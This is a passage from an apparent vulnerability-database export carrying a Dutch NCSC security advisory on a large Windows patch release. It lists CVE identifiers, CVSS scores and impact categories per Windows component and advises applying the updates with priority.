|\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-14T19:01:39.304379Z"}, {"uuid": "ecd107fe-ef0d-457f-a6b1-3cab508a73c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54996", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows 